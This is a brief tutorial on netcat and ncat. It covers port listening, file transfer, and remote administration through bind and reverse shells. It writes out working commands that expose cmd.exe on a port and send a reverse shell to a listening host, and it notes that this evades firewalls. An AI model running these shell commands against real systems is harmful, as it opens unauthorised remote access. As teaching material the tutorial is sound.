Netcat
======
**Netcat** known as a *Swiss Army Knfe* that can read and write to TCP and UDP
ports.This tools can handle the following functionalities.

1. Connecting/Listening to a TCP/UDP Port.
2. File Transfer.
3. Remote Administration.

### Connecting/Listening to a TCP/UDP Port
Netcat can be use as both server and client listening to a given port.A good
example of this is a simple chat application.

Server: A server listening to port 3333 from any incoming connection
```shell
$ nc -lvp 3333
listening on [any] 3333 ...
```

Client: Connecting to The server on port 3333
```shell
$ nc 192.168.100.24 3333
```

Once we are connected anything we type from the console will be shown
to the server console.

### File Transfer
Netcat can be used to transfer files from one host to another. This is effective
for small size since no information is provided while transfering the file.

Server: `exploit.exe` our file transfered.
```shell
$ nc -vlp 3333 > exploit.exe
```

Client: transfer file to above server.
```shell
$ nc 192.168.100.14 < exploit.exe
```

### Remote Administration
Netcat can also be used to do command redirection for administration such as.

+ Netcat Bind Shell
+ Netcat Reverse Shell

###### Netcat Bind Shell
Netcat can be used to bind a shell to a specific port so a remote host can
connect to it. Example:

Windows: As our server and will bind the `cmd.exe` to port 3333
```shell
C:\Windows>nc -lvp 3333 -e cmd.exe
```

Linux: As our client to connect to port 3333
```shell
$ nc 192.168.100.14 3333
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Windows>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 10.0.2.15
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 10.0.2.2

Ethernet adapter Local Area Connection 3:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.100.14
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.100.1

Ethernet adapter Local Area Connection 2:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.56.74
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.56.64

C:\Windows>
```
###### Bind Reverse Shell
It's similar to Bind Shell the only difference is that it sends command shell to a
listening host.This feature is useful when you want to evade firewall.

Linux: listening host on port 3333
```shell
$ nc -lvp 3333
listening on [any] 3333 ...
```

Windows: Connect to a listening host and send it command shells.
```shell
C:\Windows>nc 192.168.100.6 3333 -e cmd.exe
```

Ncat
====
Ncat is a more improved version of `netcat` that support
encryption,authentication and allow a specific host to connect to.

```shell
$ ncat -vlp 3333 --allow 192.168.100.6 --ssl
```
Above command create an encrypted session using ssl and only allow host
192.168.100.6 to connect to it.